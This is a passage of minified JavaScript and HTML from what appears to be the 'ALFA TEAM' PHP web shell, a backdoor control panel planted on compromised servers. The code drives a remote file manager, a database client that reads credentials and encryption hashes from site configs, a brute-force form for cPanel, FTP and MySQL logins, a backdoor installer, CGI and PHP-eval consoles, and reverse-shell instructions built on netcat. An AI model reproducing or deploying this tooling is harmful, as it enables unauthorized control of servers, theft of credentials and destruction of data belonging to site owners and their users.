id="td_row_'+r+'">'+p+'<div style="position:relative;display:inline-block;bottom:12px;"><a row="'+r+'" id="id_'+r+'" class="main_name" onclick="editor(\''+s+"','auto','','','','file');\" href=\"#action=fileman&amp;path="+c_+"&amp;file="+s+'" fname="'+n+'" ftype="file" path="'+c_+'" opt_title="">'+n+'</a></div></td><td><span style="font-weight:unset;" class="main_size">'+c+'</span></td><td><span style="font-weight:unset;" class="main_modify">'+_+'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'+u+'</span></td><td><a id="id_chmode_'+r+'" href="javascript:void(0)" onclick="editor(\''+s+"','chmod','','','','file')\">"+f+'</a></td><td><a id="id_rename_'+r+'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'rename','','','','file')\">R</a> <a id=\"id_touch_"+r+'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''+s+"', 'touch','','','','file')\">T</a> <a id=\"id_edit_"+r+'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''+s+"', 'edit','','','','file')\">E</a> <a id=\"id_download_"+r+'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''+n+"', 'download')\">D</a><a id=\"id_delete_"+r+'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '+s+" # ?'); chk ? g('FilesMan',null,'delete', '"+s+"') : '';\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return console.log(t),loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\/\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\/\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id='loader_"+e+'\' class="options-loader-holder"><div parent="'+e+'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\'http://solevisible.com/images/loader.svg\'></div>')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"&current_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color='red'>>></font> ` button and run ` <font color='red'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color='red'>nc -l -v -p port</font> ` on your computer and press ` <font color='red'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML='<label class="inputfile" for="'+e+'"><span id="__fnameup'+upcount+'"></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id="'+e+'" type="file" name="f[]" onChange="handleup(this,'+upcount+');" multiple>',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
